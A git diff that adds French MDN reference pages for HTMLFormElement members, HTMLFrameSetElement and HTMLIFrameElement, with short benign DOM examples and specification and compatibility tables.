+</pre>
+
+<h2 id="Specifications" name="Specifications">Spécifications</h2>
+
+<ul>
+ <li><a href="http://www.w3.org/TR/html5/forms.html#dom-form-length" title="http://www.w3.org/TR/html5/forms.html#dom-form-length">HTML 5, Section 4.10.3, The form Element</a></li>
+ <li><a href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#HTML-HTMLFormElement-length">DOM Level 2: length</a></li>
+</ul>
diff --git a/files/fr/web/api/htmlformelement/method/index.html b/files/fr/web/api/htmlformelement/method/index.html
new file mode 100644
index 0000000000..5072c652ab
--- /dev/null
+++ b/files/fr/web/api/htmlformelement/method/index.html
@@ -0,0 +1,25 @@
+---
+title: HTMLFormElement.method
+slug: Web/API/HTMLFormElement/method
+translation_of: Web/API/HTMLFormElement/method
+---
+<div>{{APIRef("HTML DOM")}}</div>
+
+<p>La propriété <code><strong>HTMLFormElement.method</strong></code> représente la méthode HTTP utilisée pour soumettre un formulaire.</p>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre class="eval"><em>string</em> = form.method
+form.method = <em>string</em>
+</pre>
+
+<h2 id="Example" name="Example">Exemple</h2>
+
+<pre class="eval">document.forms["myform"].method = "post";
+</pre>
+
+<h2 id="Specification" name="Specification">Spécification</h2>
+
+<p><a class="external" href="http://www.w3.org/TR/html5/association-of-controls-and-forms.html#dom-fs-method" title="http://www.w3.org/TR/html5/association-of-controls-and-forms.html#dom-fs-method">HTML 5, Section 4.10.19.6, Form submission</a></p>
+
+<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-82545539">DOM Level 2 HTML: method</a></p>
diff --git a/files/fr/web/api/htmlformelement/name/index.html b/files/fr/web/api/htmlformelement/name/index.html
new file mode 100644
index 0000000000..6a144b2e79
--- /dev/null
+++ b/files/fr/web/api/htmlformelement/name/index.html
@@ -0,0 +1,32 @@
+---
+title: HTMLFormElement.name
+slug: Web/API/HTMLFormElement/name
+translation_of: Web/API/HTMLFormElement/name
+---
+<div>
+<div>{{APIRef("HTML DOM")}}</div>
+</div>
+
+<p>La propriété <code>HTMLFormElement.name</code> représente le nom de l'élément <code>form</code> sous la forme d'une chaîne de caratères.</p>
+
+<p>Si votre {{HTMLElement("Form")}} contient un élément appelé <em>name</em>, alors ce dernier redéfinit la propriété <code>form.name</code>, afin que vous ne puissiez y accéder. Internet Explorer (IE) bloque la définition ou la modification du nom d'un élément créé avec <code>createElement()</code> à partir de la propriété <code>name</code>.</p>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre class="syntaxbox"><em>string</em> = form.name
+form.name = <em>string</em></pre>
+
+<h2 id="Example" name="Example">Exemple</h2>
+
+<pre class="brush:js">var form1name = document.getElementById("form1").name;
+
+if (form1name != document.form.form1) {
+   // browser doesn't support this form of reference
+}</pre>
+
+<h2 id="Specification" name="Specification">Spécification</h2>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/html5/forms.html#dom-form-name" title="http://www.w3.org/TR/html5/forms.html#dom-form-name">HTML 5, Section 4.10.3, The form Element</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-22051454">DOM Level 2 HTML: name</a></li>
+</ul>
diff --git a/files/fr/web/api/htmlformelement/reportvalidity/index.html b/files/fr/web/api/htmlformelement/reportvalidity/index.html
new file mode 100644
index 0000000000..ea685b944c
--- /dev/null
+++ b/files/fr/web/api/htmlformelement/reportvalidity/index.html
@@ -0,0 +1,60 @@
+---
+title: HTMLFormElement.reportValidity()
+slug: Web/API/HTMLFormElement/reportValidity
+tags:
+  - HTML
+  - Méthode
+translation_of: Web/API/HTMLFormElement/reportValidity
+---
+<div>{{APIRef("HTML DOM")}}</div>
+
+<p><span class="tlid-translation translation"><span title="">La méthode</span></span>  <strong><code>HTMLFormElement.reportValidity()</code></strong> <span class="tlid-translation translation"><span title="">renvoie true si les contrôles enfants de l'élément répondent à leurs contraintes de validation.</span> <span title="">Lorsque la valeur</span></span> <code>false</code> <span class="tlid-translation translation"><span title="">est renvoyée,</span></span> ,  <span class="tlid-translation translation"><span title="">les événements</span></span> <code><a href="https://developer.mozilla.org/en-US/docs/Web/Events/invalid">invalid</a></code> <span class="tlid-translation translation"><span title="">annulables sont déclenchés pour chaque enfant non valide et les problèmes de validation sont signalés à l'utilisateur.</span></span> .</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><em>HTMLFormElement</em>.reportValidity()
+</pre>
+
+<h3 id="Valeur_de_retour"><span class="tlid-translation translation"><span title="">Valeur de retour</span></span></h3>
+
+<p>{{domxref("Boolean")}}</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<pre class="brush: js">document.forms['myform'].addEventListener('invalid', function() {
+  // Optional response here
+}, false);
+
+document.forms['myform'].addEventListener('submit', function() {
+  document.forms['myform'].reportValidity();
+}, false);</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("HTML WHATWG", "forms.html#dom-cva-reportvalidity", "HTMLFormElement.reportValidity()")}}</td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML5.1", "semantics.html#the-constraint-validation-api", "HTMLFormElement.reportValidity()")}}</td>
+   <td>{{Spec2("HTML5.1")}}</td>
+   <td><span class="tlid-translation translation"><span title="">Définition initiale</span></span></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_du_navigateur"><span class="tlid-translation translation"><span title="">Compatibilité du navigateur</span></span></h2>
+
+<div class="hidden"><span class="tlid-translation translation"><span title="">Le tableau de compatibilité sur cette page est généré à partir de données structurées.</span> <span title="">Si vous souhaitez contribuer aux données, veuillez consulter</span></span>  <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> <span class="tlid-translation translation"><span title="">et envoyez-nous une</span></span> requête .</div>
+
+<p>{{Compat("api.HTMLFormElement.reportValidity")}}</p>
diff --git a/files/fr/web/api/htmlformelement/reset/index.html b/files/fr/web/api/htmlformelement/reset/index.html
new file mode 100644
index 0000000000..7ed17f275f
--- /dev/null
+++ b/files/fr/web/api/htmlformelement/reset/index.html
@@ -0,0 +1,28 @@
+---
+title: HTMLFormElement.reset()
+slug: Web/API/HTMLFormElement/reset
+tags:
+  - API
+  - HTML DOM
+  - HTMLFormElement
+  - Méthode
+  - Reference
+translation_of: Web/API/HTMLFormElement/reset
+---
+<div>{{APIRef("HTML DOM")}}</div>
+
+<p>La méthode <strong><code>HTMLFormElement.reset()</code></strong> restaure les valeurs par défaut des éléments du formulaire. Cette méthode fait la même chose que lorsqu'on clique sur un bouton de type <code>reset</code>.</p>
+
+<p>Si un élément du formulaire (comme un bouton reset par exemple) a un <code>name</code> ou <code>id</code> valant <var>reset</var>, celui-ci remplacera la méthode reset du formulaire. Les attributs des éléments, comme <code>disabled</code>, ne sont pas réinitialisés.</p>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre class="eval"><em>HTMLFormElement</em>.reset()
+</pre>
+
+<h2 id="Example" name="Example">Exemple</h2>
+
+<pre class="eval">document.getElementById("myform").reset();
+</pre>
+
+<h2 id="Specification" name="Specification">Spécification</h2>
diff --git a/files/fr/web/api/htmlformelement/submit/index.html b/files/fr/web/api/htmlformelement/submit/index.html
new file mode 100644
index 0000000000..4dfb9ba3f0
--- /dev/null
+++ b/files/fr/web/api/htmlformelement/submit/index.html
@@ -0,0 +1,42 @@
+---
+title: HTMLFormElement.submit()
+slug: Web/API/HTMLFormElement/submit
+tags:
+  - HTML DOM
+  - HTMLFormElement
+  - Méthode
+translation_of: Web/API/HTMLFormElement/submit
+---
+<div>{{APIRef("HTML DOM")}}</div>
+
+<p><span class="tlid-translation translation"><span title="">La méthode</span></span>  <strong><code>HTMLFormElement.submit()</code></strong>  <span class="tlid-translation translation"><span title="">soumet un</span></span> {{HtmlElement("form")}} <span class="tlid-translation translation"><span title="">donné</span></span></p>
+
+<p><span class="tlid-translation translation"><span title="">Cette méthode est similaire, mais pas identique, à l’activation du script submit {{HtmlElement ("button")}}.</span> <span title="">Lors de l'appel direct de cette méthode, cependant:</span></span></p>
+
+<ul>
+ <li><span class="tlid-translation translation"><span title="">Aucun événement {{event ("submit")}} n'est déclenché.</span> <span title="">En particulier, le formulaire</span></span>  </li>
+ <li>{{domxref("GlobalEventHandlers.onsubmit", "onsubmit")}}  <span class="tlid-translation translation"><span title="">le gestionnaire d'événement n'est pas exécuté</span></span> .</li>
+ <li><a href="/en-US/docs/Web/Guide/HTML/HTML5/Constraint_validation">Constraint validation</a> <span class="tlid-translation translation"><span title="">n'est pas déclenché</span></span> .</li>
+</ul>
+
+<p><span class="tlid-translation translation"><span title="">Si un contrôle de formulaire (tel qu'un</span></span>  submit <span class="tlid-translation translation"><span title="">bouton</span></span> ) <span class="tlid-translation translation"><span title="">a un</span></span><code>name</code> ou un <code>id</code> de <code>submit</code>, <span class="tlid-translation translation"><span title="">cette méthode masquera la méthode d'envoi du formulaire.</span></span></p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><em>HTMLFormElement</em>.submit()
+</pre>
+
+<h2 id="Exemple">Exemple</h2>
+
+<pre class="brush: js">document.forms["myform"].submit();
+</pre>
+
+<h2 id="Specification">Specification</h2>
+
+<p><a href="https://html.spec.whatwg.org/multipage/forms.html#the-form-element">HTML Living standard: The form element</a></p>
+
+<h2 id="Compatibilité_du_navigateur"><span class="tlid-translation translation"><span title="">Compatibilité du navigateur</span></span></h2>
+
+<div class="hidden"><span class="tlid-translation translation"><span title="">Le tableau de compatibilité sur cette page est généré à partir de données structurées.</span> <span title="">Si vous souhaitez contribuer aux données, veuillez consulter</span></span>  <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> <span class="tlid-translation translation"><span title="">et envoyez-nous une</span></span> requête.</div>
+
+<p>{{Compat("api.HTMLFormElement.submit")}}</p>
diff --git a/files/fr/web/api/htmlformelement/submit_event_/index.html b/files/fr/web/api/htmlformelement/submit_event_/index.html
new file mode 100644
index 0000000000..135058c596
--- /dev/null
+++ b/files/fr/web/api/htmlformelement/submit_event_/index.html
@@ -0,0 +1,59 @@
+---
+title: submit
+slug: Web/API/HTMLFormElement/submit_event_
+translation_of: Web/API/HTMLFormElement/submit_event
+---
+<p>L’événement <code>submit</code> est émis lorsqu’un formulaire est soumis au serveur.</p>
+
+<p>Notez que l’événement <code>submit</code> se déclenche <strong>uniquement</strong> sur <a href="/fr-FR/docs/Web/HTML/Element/form">l’élement form</a>, et pas sur les éléments <a href="/fr-FR/docs/Web/HTML/Element/button">button</a> ou <a href="/fr/docs/Web/HTML/Element/Input/submit">input submit</a>. (Les formulaires sont soumis, pas les boutons.)</p>
+
+<h2 id="Informations_générales">Informations générales</h2>
+
+<dl>
+ <dt style="float: left; text-align: right; width: 120px;">Spécification</dt>
+ <dd style="margin: 0 0 0 120px;"><a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/multipage/association-of-controls-and-forms.html#form-submission-algorithm">HTML5</a></dd>
+ <dt style="float: left; text-align: right; width: 120px;">Interface</dt>
+ <dd style="margin: 0 0 0 120px;">{{domxref("Event")}}</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Bouillonne</dt>
+ <dd style="margin: 0 0 0 120px;">Oui (bien que spécifié comme un événement simple qui ne bouillonne pas)</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Annulable</dt>
+ <dd style="margin: 0 0 0 120px;">Oui</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Cible</dt>
+ <dd style="margin: 0 0 0 120px;">Élément</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Action par défaut</dt>
+ <dd style="margin: 0 0 0 120px;">Variable (envoie le contenu du formulaire au serveur)</dd>
+</dl>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Propriété</th>
+   <th scope="col">Type</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>target</code> {{readonlyInline}}</td>
+   <td>{{domxref("EventTarget")}}</td>
+   <td>La cible de l’évènement (la cible la plus haute dans l’arbre DOM).</td>
+  </tr>
+  <tr>
+   <td><code>type</code> {{readonlyInline}}</td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>Le type de l’évènement.</td>
+  </tr>
+  <tr>
+   <td><code>bubbles</code> {{readonlyInline}}</td>
+   <td>{{jsxref("Boolean")}}</td>
+   <td>Si l’évènement bouillonne normalement ou non.</td>
+  </tr>
+  <tr>
+   <td><code>cancelable</code> {{readonlyInline}}</td>
+   <td>{{jsxref("Boolean")}}</td>
+   <td>Si l’évènement est annulable ou non.</td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/fr/web/api/htmlformelement/target/index.html b/files/fr/web/api/htmlformelement/target/index.html
new file mode 100644
index 0000000000..ac4d5f1e75
--- /dev/null
+++ b/files/fr/web/api/htmlformelement/target/index.html
@@ -0,0 +1,25 @@
+---
+title: HTMLFormElement.target
+slug: Web/API/HTMLFormElement/target
+translation_of: Web/API/HTMLFormElement/target
+---
+<div>{{APIRef("HTML DOM")}}</div>
+
+<p>La propriété <strong><code>HTMLFormElement.target</code></strong> représente la cible de l'action (i.e., le cadre de destination dans lequel produire le résultat).</p>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre class="eval"><em>string</em> = form.target
+form.target = <em>string</em>
+</pre>
+
+<h2 id="Example" name="Example">Exemple</h2>
+
+<pre class="eval">myForm.target = document.frames[1].name;
+</pre>
+
+<h2 id="Specification" name="Specification">Spécification</h2>
+
+<p><a class="external" href="http://www.w3.org/TR/html5/association-of-controls-and-forms.html#dom-fs-method" title="http://www.w3.org/TR/html5/association-of-controls-and-forms.html#dom-fs-method">HTML 5, Section 4.10.19.6, Form submission</a></p>
+
+<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-6512890">DOM Level 2 HTML: target</a></p>
diff --git a/files/fr/web/api/htmlframesetelement/index.html b/files/fr/web/api/htmlframesetelement/index.html
new file mode 100644
index 0000000000..d8a411ae12
--- /dev/null
+++ b/files/fr/web/api/htmlframesetelement/index.html
@@ -0,0 +1,111 @@
+---
+title: HTMLFrameSetElement
+slug: Web/API/HTMLFrameSetElement
+tags:
+  - API
+  - HTML-DOM
+  - HTMLFrameSetElement
+  - Interface
+  - Obsolete
+  - Reference
+translation_of: Web/API/HTMLFrameSetElement
+---
+<div>{{APIRef("HTML DOM")}}{{Obsolete_header}}</div>
+
+<p>L'interface <strong><code>HTMLFrameSetElement</code></strong> fournit des propriétés spéciales (au-delà de celles de l'interface standard {{domxref("HTMLElement")}} dont elles héritent aussi) pour manipuler les éléments {{HTMLELEment("frameset")}}.</p>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<p><em>Hérite des propriétés de son parent, {{domxref("HTMLElement")}} et de {{domxref("WindowEventHandlers")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("HTMLFrameSetElement.cols")}} {{obsolete_inline}}</dt>
+ <dd>Est un {{domxref("DOMString")}} structuré comme une liste séparée par des virgules spécifiant la largeur de chaque colonne à l'intérieur d'un jeu de cadres.</dd>
+ <dt>{{domxref("HTMLFrameSetElement.rows")}} {{obsolete_inline}}</dt>
+ <dd>Est un {{domxref("DOMString")}} structuré comme une liste séparée par des virgules spécifiant la hauteur de chaque colonne à l'intérieur d'un jeu de cadres.</dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<p><em>Pas de méthode spécifique; hérite des méthodes de son parent, {{domxref("HTMLElement")}} et de {{domxref("WindowEventHandlers")}}</em><em>.</em></p>
+
+<h2 id="Gestionnaires_dévénements">Gestionnaires d'événements</h2>
+
+<p><em>Aucun gestionnaire d'événements spécifique; hérite des gestionnairs d'événements de son parent, {{domxref("HTMLElement")}} et de {{domxref("WindowEventHandlers")}}</em><em>.</em></p>
+
+<dl>
+ <dt>{{domxref("WindowEventHandlers.onafterprint")}}</dt>
+ <dd>Est un {{domxref("EventHandler")}} représentant le code à appeler lorsque l'événement {{event("afterprint")}} est déclenché.</dd>
+ <dt>{{domxref("WindowEventHandlers.onbeforeprint")}}</dt>
+ <dd>Est un {{domxref("EventHandler")}} représentant le code à appeler lorsque l'événement {{event("beforeprint")}} est déclenché.</dd>
+ <dt>{{domxref("WindowEventHandlers.onbeforeunload")}}</dt>
+ <dd>Est un {{domxref("EventHandler")}} représentant le code à appeler lorsque l'événement {{event("beforeunload")}} est déclenché.</dd>
+ <dt>{{domxref("WindowEventHandlers.onhashchange")}}</dt>
+ <dd>Est un {{domxref("EventHandler")}} représentant le code à appeler lorsque l'événement {{event("hashchange")}} est déclenché.</dd>
+ <dt>{{domxref("WindowEventHandlers.onlanguagechange")}} {{experimental_inline}}</dt>
+ <dd>Est un {{domxref("EventHandler")}} représentant le code à appeler lorsque l'événement {{event("languagechange")}} est déclenché.</dd>
+ <dt>{{domxref("WindowEventHandlers.onmessage")}}</dt>
+ <dd>Est un {{domxref("EventHandler")}} représentant le code à appeler lorsque l'événement {{event("message")}} est déclenché.</dd>
+ <dt>{{domxref("WindowEventHandlers.onoffline")}}</dt>
+ <dd>Est un {{domxref("EventHandler")}} représentant le code à appeler lorsque l'événement {{event("offline")}} est déclenché.</dd>
+ <dt>{{domxref("WindowEventHandlers.ononline")}}</dt>
+ <dd>Est un {{domxref("EventHandler")}} représentant le code à appeler lorsque l'événement {{event("online")}} est déclenché.</dd>
+ <dt>{{domxref("WindowEventHandlers.onpagehide")}}</dt>
+ <dd>Est un {{domxref("EventHandler")}} représentant le code à appeler lorsque l'événement {{event("pagehide")}} est déclenché.</dd>
+ <dt>{{domxref("WindowEventHandlers.onpageshow")}}</dt>
+ <dd>Est un {{domxref("EventHandler")}} représentant le code à appeler lorsque l'événement {{event("pageshow")}} est déclenché.</dd>
+ <dt>{{domxref("WindowEventHandlers.onpopstate")}}</dt>
+ <dd>Est un {{domxref("EventHandler")}} représentant le code à appeler lorsque l'événement {{event("popstate")}} est déclenché.</dd>
+ <dt>{{domxref("WindowEventHandlers.onresize")}}</dt>
+ <dd>Est un {{domxref("EventHandler")}} représentant le code à appeler lorsque l'événement {{event("resize")}} est déclenché.</dd>
+ <dt>{{domxref("WindowEventHandlers.onstorage")}}</dt>
+ <dd>Est un {{domxref("EventHandler")}} représentant le code à appeler lorsque l'événement {{event("storage")}} est déclenché.</dd>
+ <dt>{{domxref("WindowEventHandlers.onunload")}}</dt>
+ <dd>Est un {{domxref("EventHandler")}} représentant le code à appeler lorsque l'événement {{event("unload")}} est déclenché.</dd>
+</dl>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "#htmlframesetelement", "HTMLFrameSetElement")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>À partir de l'instantané {{SpecName('HTML5 W3C')}}, l'interface {{domxref("WindowEventHandlers")}} a maintenant une propriété <code>onlanguagechange</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "obsolete.html#htmlframesetelement", "HTMLFrameSetElement")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Instantané d'un précédent {{SpecName('HTML WHATWG')}}<br>
+    Les cadres sont désormais obsolètes. Implémente {{domxref("WindowEventHandlers")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 HTML', 'html.html#ID-ID-43829095', 'HTMLBodyElement')}}</td>
+   <td>{{Spec2('DOM2 HTML')}}</td>
+   <td>Aucun changement par rapport à {{SpecName("DOM1")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-html.html#ID-43829095', 'HTMLBodyElement')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page est généré à partir de données structurées. Si vous souhaitez contribuer aux données, veuillez consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et envoyez-nous une pull request.</div>
+
+<p>{{Compat("api.HTMLFrameSetElement")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Élément HTML implémentant cette interface : {{HTMLElement("frameset")}}</li>
+ <li>L'équivalent de cet élément en dehors des cadres : {{domxref("HTMLBodyElement")}}.</li>
+</ul>
diff --git a/files/fr/web/api/htmliframeelement/contentwindow/index.html b/files/fr/web/api/htmliframeelement/contentwindow/index.html
new file mode 100644
index 0000000000..8ebaf2afd9
--- /dev/null
+++ b/files/fr/web/api/htmliframeelement/contentwindow/index.html
@@ -0,0 +1,46 @@
+---
+title: HTMLIFrameElement.contentWindow
+slug: Web/API/HTMLIFrameElement/contentWindow
+tags:
+  - API
+  - DOM
+  - Propriété
+  - Web
+translation_of: Web/API/HTMLIFrameElement/contentWindow
+---
+<div>{{APIRef("HTML DOM")}}</div>
+
+<p>La propriété <strong><code>contentWindow</code></strong> renvoie l'objet <code><a href="/fr/docs/Web/API/Window">Window</a></code> d'un élément {{HTMLElement("iframe")}}. Cet objet <code>Window</code> peut être utilisé pour accéder au document de l'<em>iframe</em> et à son DOM. Cet attribut est en lecture seule mais ses propriétés peuvent être manipulées comme pour l'objet global <code>Window</code>.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="keyword token">var</span> x <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">getElementsByTagName</span><span class="punctuation token">(</span><span class="string token">"iframe"</span><span class="punctuation token">)</span><span class="punctuation token">[</span><span class="number token">0</span><span class="punctuation token">]</span><span class="punctuation token">.</span>contentWindow<span class="punctuation token">;</span>
+<span class="comment token">//x = window.frames[0];</span>
+
+x<span class="punctuation token">.</span>document<span class="punctuation token">.</span><span class="function token">getElementsByTagName</span><span class="punctuation token">(</span><span class="string token">"body"</span><span class="punctuation token">)</span><span class="punctuation token">[</span><span class="number token">0</span><span class="punctuation token">]</span><span class="punctuation token">.</span>style<span class="punctuation token">.</span>backgroundColor <span class="operator token">=</span> <span class="string token">"blue"</span><span class="punctuation token">;</span>
+<span class="comment token">// ceci devrait changer le 1er iframe dans le document bleu.</span></code></pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#dom-iframe-contentwindow', 'HTMLIFrameElement: contentWindow')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("api.HTMLIFrameElement.contentWindow")}}</p>
diff --git a/files/fr/web/api/htmliframeelement/featurepolicy/index.html b/files/fr/web/api/htmliframeelement/featurepolicy/index.html
new file mode 100644
index 0000000000..452e826dd6
--- /dev/null
+++ b/files/fr/web/api/htmliframeelement/featurepolicy/index.html
@@ -0,0 +1,46 @@
+---
+title: HTMLIFrameElement.featurePolicy
+slug: Web/API/HTMLIFrameElement/featurePolicy
+tags:
+  - API
+  - Feature Policy
+  - Feature-Policy
+  - HTMLIFrameElement
+  - Policy
+  - Property
+translation_of: Web/API/HTMLIFrameElement/featurePolicy
+---
+<div>{{APIRef("Feature Policy API")}}{{SeeCompatTable}}</div>
+
+<p><span class="seoSummary">La propriété en lecture seule <strong><code>featurePolicy</code></strong> de l'interface {{DOMxRef("HTMLIFrameElement")}} retourne l'interface {{DOMxRef("FeaturePolicy")}}, qui fournit une API simple pour consulter facilement les règles de fonctionnalités appliquées à un élément <code>&lt;iframe&gt;</code> spécifique.</span></p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox notranslate">var policy = <em>HTMLIFrameElement</em>.featurePolicy</pre>
+
+<h3 id="Valeur">Valeur</h3>
+
+<p>Un objet <a href="https://developer.mozilla.org/en-US/docs/Web/API/FeaturePolicy" title="Note: This interface is called Policy in Firefox."><code>FeaturePolicy</code></a> pouvant être utilisé pour consulter les paramètres Feature Policy appliqués au cadre.</p>
+
+<h2 id="Spécification">Spécification</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("Feature Policy")}}</td>
+   <td>{{Spec2("Feature Policy")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("api.HTMLIFrameElement.featurePolicy")}}</p>
diff --git a/files/fr/web/api/htmliframeelement/index.html b/files/fr/web/api/htmliframeelement/index.html
new file mode 100644
index 0000000000..6a8377ba23
--- /dev/null
+++ b/files/fr/web/api/htmliframeelement/index.html
@@ -0,0 +1,279 @@
+---
+title: HTMLIFrameElement
+slug: Web/API/HTMLIFrameElement
+translation_of: Web/API/HTMLIFrameElement
+---
+<div>
+<div>{{APIRef("HTML DOM")}}</div>
+</div>
+
+<p>L'interface <strong><code>HTMLIFrameElement</code></strong> fournit des propriétés et des méthodes spéciales (en plus de celles de l'interface {{domxref("HTMLElement")}} auxquelles il peut accéder par héritage) pour manipuler la disposition et la présentation des éléments "en-ligne" d'une frame.</p>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<p><em>Propriétés héritées de son parent,, {{domxref("HTMLElement")}}</em>.</p>
+
+<dl>
+ <dt>{{domxref("HTMLIFrameElement.align")}} {{obsolete_inline}}</dt>
+ <dd>Is a {{domxref("DOMString")}} that specifies the alignment of the frame with respect to the surrounding context.</dd>
+ <dt>{{domxref("HTMLIFrameElement.allowfullscreen")}} {{experimental_inline}}</dt>
+ <dd>Is a {{domxref("Boolean")}} that indicates whether or not the inline frame is willing to be placed into full screen mode. See <a href="/en-US/docs/DOM/Using_full-screen_mode" title="https://developer.mozilla.org/en/DOM/Using_full-screen_mode">Using full-screen mode</a> for details.</dd>
+ <dt>{{domxref("HTMLIFrameElement.contentDocument")}} {{readonlyInline}}</dt>
+ <dd>Returns a {{domxref("Document")}}, the active document in the inline frame's nested browsing context.</dd>
+ <dt>{{domxref("HTMLIFrameElement.contentWindow")}} {{readonlyInline}}</dt>
+ <dd>Returns a {{domxref("WindowProxy")}}, the window proxy for the nested browsing context.</dd>
+ <dt>{{domxref("HTMLIFrameElement.frameborder")}} {{obsolete_inline}}</dt>
+ <dd>Is a {{domxref("DOMString")}} that indicates whether to create borders between frames.</dd>
+ <dt>{{domxref("HTMLIFrameElement.height")}}</dt>
+ <dd>Is a {{domxref("DOMString")}} that reflects the {{htmlattrxref("height", "iframe")}} HTML attribute, indicating the height of the frame.</dd>
+ <dt>{{domxref("HTMLIFrameElement.longDesc")}} {{obsolete_inline}}</dt>
+ <dd>Is a {{domxref("DOMString")}} that contains the URI of a long description of the frame.</dd>
+ <dt>{{domxref("HTMLIFrameElement.marginHeight")}} {{obsolete_inline}}</dt>
+ <dd>Is a {{domxref("DOMString")}} being the height of the frame margin.</dd>
+ <dt>{{domxref("HTMLIFrameElement.marginWidth")}} {{obsolete_inline}}</dt>
+ <dd>Is a {{domxref("DOMString")}} being the width of the frame margin.</dd>
+ <dt>{{domxref("HTMLIFrameElement.name")}}</dt>
+ <dd>Is a {{domxref("DOMString")}} that reflects the {{htmlattrxref("name", "iframe")}} HTML attribute, containing a name by which to refer to the frame.</dd>
+ <dt>{{domxref("HTMLIFrameElement.sandbox")}}</dt>
+ <dd>Is a {{domxref("DOMSettableTokenList")}} that reflects the {{htmlattrxref("sandbox", "iframe")}} HTML attribute, indicating extra restrictions on the behavior of the nested content.</dd>
+ <dt>{{domxref("HTMLIFrameElement.scrolling")}} {{obsolete_inline}}</dt>
+ <dd>Is a {{domxref("DOMString")}} that indicates whether the browser should provide scrollbars for the frame.</dd>
+ <dt>{{domxref("HTMLIFrameElement.seamless")}} {{experimental_inline}}</dt>
+ <dd>Is a {{domxref("Boolean")}} that reflects the {{htmlattrxref("seamless", "iframe")}} HTML attribute, indicating that the inline frame should be rendered seamlessly within the parent document.</dd>
+ <dt>{{domxref("HTMLIFrameElement.src")}}</dt>
+ <dd>Is a {{domxref("DOMString")}} that reflects the {{htmlattrxref("src", "iframe")}} HTML attribute, containing the address of the content to be embedded.</dd>
+ <dt>{{domxref("HTMLIFrameElement.srcdoc")}}</dt>
+ <dd>Is a {{domxref("DOMString")}} that represents the content to display in the frame.</dd>
+ <dt>{{domxref("HTMLIFrameElement.width")}}</dt>
+ <dd>Is a {{domxref("DOMString")}} that reflects the {{htmlattrxref("width", "iframe")}} HTML attribute, indicating the width of the frame.</dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<p><em>No specific method; inherits properties from its parent, {{domxref("HTMLElement")}}</em>.</p>
+
